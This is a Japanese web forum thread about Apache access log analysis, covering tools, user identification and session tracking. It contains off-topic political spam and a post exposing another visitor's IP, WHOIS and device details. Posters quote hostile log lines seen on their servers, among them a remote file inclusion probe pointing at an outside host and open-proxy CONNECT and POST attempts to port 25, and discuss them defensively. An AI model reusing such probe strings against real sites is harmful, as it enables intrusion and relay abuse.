>あらゆるロボットを排除したいんだけど。
むり。そういうロボットに限ってrobots.txtを読みに行かないから

>>898
> むり。そういうロボットに限ってrobots.txtを読みに行かないから
robots.txtを逆に解釈する場合とかもあるかもねｗ
nofollowにしてるのにくろーりんぐしちゃうとか。

サーバーの勉強を始めて間もない初心者です。
環境：CentOS4.0/php+mysql（apache使用）

教えていただきたいのですが、
一日の間で、特定のユーザーがアクセスしたページ（ファイル）やアクセス頻度を
集計（あるいはグラフなどで表示）できたりする
アクセスログ解析ツールってありますか？

>>900
apacheにアクセスしたユーザでいいのかな?
「特定のユーザ」ってのを特定する方法をまず考えないといかんのでは。

>>900-901
ログ読めばよいんでね？
IPアドレス特定できるならgrepで利用者抽出、
あとはwc -lとかを組み合わせればおｋ。

>>901-902
レスありがとうございます。説明不足でした。

「ユーザー（利用者）」のIPアドレスは
非固定（固定も含む）のものです。
調べたところ、「Awstats」というものがよさそうなんですが・・・。
「sage」

おいらも便乗して聞きたい。
Awstatsのデフォルトだと、ホスト一覧とURLページ一覧はそれぞれ見れるが、
>>900のいうようにホスト一覧にあるアドレスがどのページにアクセスしたか見れない。
設定したら見れる？

今は必要に応じてログを見てるけど、面倒なんです。

>>903
その「ユーザー」って、何らかの認証(ログインとか)をしてるわけ?
ApacheならBasic認証をしたユーザ名をログに残せるけど。

>>903
どうやってユニーク情報を引き出すの？

だからぁ、ユニーク情報を引き出すにはどうしたらいいの、ってのが質問なんだろ？

アホかと

アクセス解析乗っ取り犯のサイトとＰＣの個体情報及びヘッダ！
http://m-pe.tv/u/page.php?uid=gajmgapg&id=1 ホストの情報
初回アクセス 4/16(月) 00:09:37
ホスト p125028008232.ppp.prin.ne.jp
IPアドレス 125.28.8.232
プロバイダ 不明
地域 日本
都道府県 不明
OS 不明
ブラウザ 不明
解像度 不明/ビット数(色の深さ):24
ホスト名の追跡結果

続き！"125.28.8.232"のWHOIS結果[whois.arin.net]
[Querying whois.arin.net]
[Redirected to whois.apnic.net]
[Querying whois.apnic.net]
[whois.apnic.net]
% [whois.apnic.net node-2]
% Whois data copyright terms http://www.apnic.net/db/dbcopyright.html

inetnum: 125.28.0.0 - 125.29.255.255
netname: KDDI
descr: KDDI CORPORATION
descr: 2-3-2,Nishishinjuku,Shinjuku-ku,Tokyo
country: JP
admin-c: JNIC1-AP
tech-c: JNIC1-AP
status: ALLOCATED PORTABLE
remarks: Email address for spam or abuse complaints : [email protected]
mnt-by: MAINT-JPNIC
mnt-lower: MAINT-JPNIC
changed: [email protected] 20050810
source: APNIC

role: Japan Network Information Center
address: Kokusai-Kougyou-Kanda Bldg 6F, 2-3-4 Uchi-Kanda
address: Chiyoda-ku, Tokyo 101-0047, Japan
country: JP
phone: +81-3-5297-2311
fax-no: +81-3-5297-2312
e-mail: [email protected]
admin-c: JI13-AP
tech-c: JE53-AP
nic-hdl: JNIC1-AP
mnt-by: MAINT-JPNIC
changed: [email protected] 20041222
changed: [email protected] 20050324
changed: [email protected] 20051027
source: APNIC

inetnum: 125.28.8.0 - 125.28.8.255
netname: DP-PACKET2
descr: WILLCOM,Inc.
country: JP
admin-c: YK4542JP
tech-c: YO3757JP
remarks: This information has been partially mirrored by APNIC from
remarks: JPNIC. To obtain more specific information, please use the
remarks: JPNIC WHOIS Gateway at
remarks: http://www.nic.ad.jp/en/db/whois/en-gateway.html or
remarks: whois.nic.ad.jp for WHOIS client. (The WHOIS client
remarks: defaults to Japanese output, use the /e switch for English
remarks: output)
changed: [email protected] 20050922
changed: [email protected] 20050930
source: JPNIC

意味が分からん

2007/04/16 0:09:23
ページページ001
ページ回数1 サイト回数1 前回? 初回?
モニタ240 x 320 x 24bit JavaScriptTrue CookieTrue
HTTP_REFERER不詳（ブックマーク等）
HTTP_USER_AGENTMozilla/4.0 (compatible; MSIE 6.0;
KYOCERA/AH-K3001V/1.8.3.72.000000/0.1) Opera 7.0 [ja]
国/言語?
REMOTE_HOSTp125028008232.ppp.prin.ne.jp
Proxy情報△
Proxy関連情報
CACHE-CONTROL:max-age=43200

９条は改憲してはならない。日本の為にならない。
日本人ではない朝鮮総連や民団でさえ、日本を心配して改憲への反対運動を行ってくれている。
私は日本人だが、「改憲すべき」などという者は、日本人として彼らに恥ずかしいと思います。

Ｑ．中国から身を守る為、戦争に対する抑止力が必要では？
Ａ．前提から間違っています。そもそも、中国は日本に派兵しようと思えばいつでもできました。
　　なぜなら、日本には９条があるため、空母や長距離ミサイル等「他国を攻撃する手段」がない。
　　つまり日本に戦争を仕掛けても、本国の、命令をだした幹部の命は絶対に安全なのです。
　　「安心して戦争を仕掛けられる国」を、中国は、今まで攻めずにいてくれたのです。

Ｑ．それは日米安保によるものでは？　そして、その日米安保も絶対ではないのでは？
Ａ．中国の良心を信じられないのはなぜですか？　そして、日米安保は絶対です。
　　知り合いの韓国人の評論家も「絶対だ」と言っていますし、私も同じ考えです。
　　更に、９条が消えても米国の戦争に協力する義務は発生しませんが、米国が被害者の場合は別です。
　　米国は日本を守る為に戦っても、（９条があれば）日本は米国を守る為に戦う必要がないのです。

Ｑ．９条が本当に「平和」憲法なら、世界中で（日本以外に）１国も持とうとしないのはなぜか？
Ａ．これは、日本以外のすべての国が誤っているとも言えます。
　　「敵国に攻撃が届く国は攻められづらい」というのは、誤った負の考え方です。
　　（もっとも韓国や中国の軍に関しては、日本の右傾化阻止の為でもあるので例外ですが）
　　更に日本の場合、隣国が韓国・中国・ロシアと、GDP上位の安定した信頼できる国ばかりです。

Ｑ．「９条改憲派」は「戦争反対派」。侵略者に戦争を挑発する、戦争憲法（９条）を撤廃したいのです。
Ａ．それは、貧しい考え方ではないでしょうか？　　　　
　　中国や北朝鮮を信じる「強さ」があれば、そんな考えにはならないはずです。
　　日本が信じれば、彼らも信じるでしょう。そして、真に美しい関係が始まるのです。

それが、アクセスログと何か関係有ります？

メッセージヘッダの続き！
inetnum: 125.28.8.0 - 125.28.8.255
netname: DP-PACKET2
descr: WILLCOM,Inc.
country: JP
admin-c: YK4542JP
tech-c: YO3757JP
remarks: This information has been partially mirrored by APNIC from
remarks: JPNIC. To obtain more specific information, please use the
remarks: JPNIC WHOIS Gateway at
remarks: http://www.nic.ad.jp/en/db/whois/en-gateway.html or
remarks: whois.nic.ad.jp for WHOIS client. (The WHOIS client
remarks: defaults to Japanese output, use the /e switch for English
remarks: output)
changed: [email protected] 20050922
changed: [email protected] 20050930
source: JPNIC

それがアクセスログの解析の何関係があります？

WILLCOMのPHSからつないでるのは分かった

正確にはPHS回線でパソコンからのアクセスで、京セラソフトでOpera7ブラウザ使ってアクセスしたデータだね。

AIR-H使ってウィルコムのprinプロバイダー使ってる割りにアクセス解析不明は怪しいの分かるかな？

>>918の日本語がわからんのかもしれん。

UAを信じるとPCだとは思えないけどどーでもいいや。

＞〜る割りにアクセス解析不明は怪しいの分かるかな？

prinだと認識しないのはキミが使っている解析ソフトがタコなだけ。
それに都道府県なんて分かる方が珍しい。

加えて、一般プロバイダのwhois情報など何の意味もないぞ。

解析ソフトの問題じゃないな！
およそprinで端末情報出ない方が不自然で、ＵＡも、mozilla4,0ベースのブラウザで且つ、ＩＥ６．０経由でＯｐｅｒａ７ブラウザソフトであると表示してる。
つまり、ＰＣである事の証拠だよ！
大体、どんなヘボィアクセス解析でもＰｒｉｎ殆ど解析に出るよ！
可笑しいと思わないのか？

つーか、おまえ汚い日本語をどうにかしろ。
非常に不愉快だ。

分かったこと
★日本語が不自由だということ
★何が言いたいかよく分からない事
★2ch初心者

>>923は、何故そんなに否定的なのか良く分からないが、何か都合悪いのか？
まあ、否定的な人程、相手の言葉分からないって言うのは定番だしね！

大体、ＰＨＳだけでＰＲＩＮ使う訳無いでしょ？
まあ、良く解析データ見てみよう！

>>924
君の文章は人に何かを伝える文じゃ無い。
日記ならチラシの裏へでもどうぞ。

日記？是が？大体日記チラシの裏に書くか？
其れより、アクセス解析の話出来ないなら、もう来なくて良いよ！

>>926
じゃ仮にUAを信じるとして、なんでPCだと
断定出来るのか根拠を教えてください。

ごめん、どう考えても釣りだなこれはｗ
見事に釣られたわｗ

HTTP_USER_AGENTMozilla/4.0 (compatible; MSIE 6.0; KYOCERA/AH-K3001V/1.8.3.72.000000/0.1) Opera 7.0 [ja]
国/言語?
REMOTE_HOSTp125028008232.ppp.prin.ne.jp
Proxy情報△
Proxy関連情報
CACHE-CONTROL:max-age=43200

先ず、是！この京セラAH-K3001VはＰＣにダウンロードしてみた。且つ、Operaじゃ無いと起動しないソフトだと分かった。
尚、Operaもダウンロードしてテストした。尚、willcomのＰＲＩＮのプロパイダーである事からもＰＣ以外無いと言えよう。

さわんじゃね

　　　　　　　　　　　　　　　　だ　か　ら
　　　　　　　　　　　　　　　　　　　　　　　　そ　れ　で
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　い　っ　た　い

　　　　　　　　　　　　　　な　　に　　が　　い　　い　　た　　い　　ん　　だ　　？

良く観て見よう！pppサーバー経由の為、プロシキのデータが在るね！しかも一度に何回串打ちしたか是観て分かるかな？インターネットエクスプローラー経由で京セラソフト使ってOpera立ち上げてる訳だから、PCなのは間違い無いが、OSはwindowsの可能性高いね！

　　　　 ,..).､__
　..,,_ .ｲ:::・:(＜　ｶｧｰ
　!:::::｀'::::::::!ｿ
　｀＞:::::ノ
　 く/ゝゝ

ＤＱＮが紛れ込んでるな

最初の書き込みが恥ずかしかったんだろ

>>935自演か？
http://m-pe.tv/u/page.php?uid=gajmgapg&id=1

2007/04/16 0:09:23
ページページ001
ページ回数1 サイト回数1 前回? 初回?
モニタ240 x 320 x 24bit JavaScriptTrue CookieTrue
HTTP_REFERER不詳（ブックマーク等）
HTTP_USER_AGENTMozilla/4.0 (compatible; MSIE 6.0;
KYOCERA/AH-K3001V/1.8.3.72.000000/0.1) Opera 7.0 [ja]
国/言語?
REMOTE_HOSTp125028008232.ppp.prin.ne.jp
Proxy情報△
Proxy関連情報
CACHE-CONTROL:max-age=43200

JavaScriptTrue CookieTrueな訳だから、アクセスデータ不明が多い設定してる訳だね！アクセス解析の話出来無いなら、何しに来たの？

>>935の為に[age]なきゃね♪

アクセス解析の話出来無いなら、もう来無くて良いよ！

認証ユーザごとのアクセス解析レポートが
可能なソフトってありますかね？
たとえば、会員制の限定サイトや有料ページへのアクセスを、
認証ユーザごとに集計したいときなんかみなさんどうしていますか？

>>938
webalizerなんかでもユーザの集計出るよ。
まぁ機能不足だけど、一応。

帝国データバンクのリモートホストって何？

>>940
アホか。

gatekeeper.teikoku-deeta-banku.com

以前からリファラースパム目的のアクセスがきてて
リファラーのURLが必ず「#」で終わるという特徴があったので
これで判別して処理してたんだが、数日前から「#」が消えた。
あまりの間抜けさにさすがに気付いたのかな。

gate01.asia.delta.bank.com

しばらく見なかったけど
プリン厨が自暴自棄になってたんだねｗ

66.235.180.186 - - [27/May/2007:20:24:09 +0900] "GET /index.php?page=http://web.hacker.dj/1?&/ HTTP/1.1" 403 276 "-" "Morfeus Fucking Scanner"

こんなのが大量にログに。
66.235.180.186 はwebサーバーをたてているらしい
ttp://www.alltestequipment.com

やり返したらまずいよね？

まずい

バッカーは聞き流して。次いこうか。

>>582
すっげー亀レス

本物ですた
Mozilla/4.0 (PSP (PlayStation Portable); 2.00)

システムソフトウェア バージョン3.50の実機で試した。

いや、だからUAをいじってるだけなんじゃないか？

172.163.17.229 "CONNECT mx2.mail.yahoo.com:25 HTTP/1.0" 405 235 "-" "-"
172.163.17.229 "POST http://172.163.17.229:25/ HTTP/1.1" 200 44 "-" "-"

上は弾いているようなのですが、下が２００・・・やっぱり不味いんでしょうか
メールがらみで悪さしてるのはわかるのですが、

一体なにをしているのか
そして、どういう対策を採ればよいのか

がよくわかりませぬ

外から使える串になってなければ無視しておｋ

ありがとうございます
上は以前は２００だったので、色々頑張って使えないようにしたのですが、
下は一体なにをしようとしているのか、ちとわからないので不気味なのです
後学のためにも、誰かわかるかたいたら教えてくださいませ！

>>951
mod_proxyが動作していないのなら問題はない。
上記のPOSTコマンドは自前のWebサーバのルートディレクトリにPOSTされてるだけ。
(仮想ホストが設定されていればデフォルトの仮想ホスト)

閲覧開始ページと離脱ページってどうやって取得するんでしょうか？
同一IPからの最後のアクセスから30分以上アクセスがなかったら
そのページが離脱ページってこと？

>>955
ここから始まった、終わったってのをブラウザが通知してくれるわけでもないんで、
同一人物と思われるアクセス (IPアドレスとかクッキーとかで判断して) の
始まりっぽいところと終わりっぽいところを見るしかないでしょうね。
でも終わったと思ったら3時間後にアクセスが・・・とかいうのは判断に困るね。

ここから始まった、はリファラで判断出来るかも?

IPアドレスgrepして最初と終わりだけ見ればいいんじゃないかな？
他人で重複IPとか、同一個人で複数回アクセスとか
誤差の範囲だと思うし。
日にまたがったアクセスは注意が必要だと思うけど。

>>958
固定回線の個人限定であればそれでもいいだろうが、
企業ユーザや携帯電話など、proxy経由のアクセスを考えたらそれでは意味がない。

だから誤算の範囲じゃないの？
気になるならＵＡで分ければいいだけだし

女も座って食べるジェントルマン、バッカーです。

紳士的にエレガントにいきましょう

>960
企業内ネットワーク、特に大企業のネットワークを知らないとわからないのは仕方が無い。
1台のプロキシを数千人が使っているなんてのは普通なんだな。NATを使わない理由は、
プロキシのログで社員の行動を監視できるからなんだな。もちろんそれで完璧ではない
事ぐらいはわかっている。でもお偉いさんにばれるとまた余計な制限を入れられるので、
誰もそんな事は言わないんだな。

漏れは研究所勤務だから制限は緩いけど、事業部だと「このページは業務に関係ありません」
と警告がくるそうだ。２ちゃんねるならそれでも良いけど、プログラミングなどの情報が豊富
な個人ページまで制限されている事があるらしい。

>>963
Ｆ２？

>>963
ニートのバッカーに言ったところで無駄だよ。

>>963
でもね、そういうシステムを導入している大企業に勤めていて、
かつ個人サイトを運営している立場から言わせてもらうなら、
そんな大企業からの（＝勤務中の）アクセスが全体に占める割合は
やっぱり誤差の範囲内だよ。
ま、運営しているサイトの内容にもよるだろうけどね。

ただ、ケータイキャリアのプロキシは、近い将来、
割合として無視できなくなるだろうとは思う。

>>966
もうお前は負けたんだから、わざわざ匿名にして傷を広げんでも。

自分に都合が悪い意見が出てきたら自演だと思い込むことで精神のバランスを保ってる奴って哀れだなあ

ログでエージェント情報の後に

"Apache=111.222.333.444.123456789789"

このような記述が書かれているのですが、これは何の情報なのでしょうか？
わかる方お願いします。

>>969？略さず書け。

形式的にはこのような形です

11.22.333.444 ???.????.???.jp - [15/May/2007:01:06:41 +0900]
"GET /images/top.jpg HTTP/1.1" 200 2622
"http://www.????.??????.???.jp/" "Mozilla/4.0 (compatible; MSIE 6.0;
Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
"Apache=111.222.333.444.123456789789"

>>971
Apacheのcombinedログのようだが、httpd.confのLogFormatで何か設定してないか？
少なくともデフォルトのhttpd.confではUser Agentの後はそれ以上なにも書かれてない。

mod_usertrackとでも組み合わせてCookieのApacheの値でも拾うように
LogFormatを設定してあるんじゃね？

>>972-973
どうもありがとうございます
貰ったログなのですが、普段見ない記述でWeb等でも紹介されていなかったので聞いてみました
お二人の意見を参考にもう少し調べてみることにします

確かにアクセスされているのに、アクセスログに残らないことはあるのでしょうか？
CGI出力のログに残っているIPのうち半分も残っていなのですが……

>>975
ありえん。エラーログを確認すれ。

>>967
負けただってｗ

>>966
だな
で、オレと勘違いされた気分はどうだ？
一応昨日はシャワー浴びないで寝た
このﾑﾚﾑﾚ感もぜひとも味わってほしい

ジェントルマンは風呂入れよ。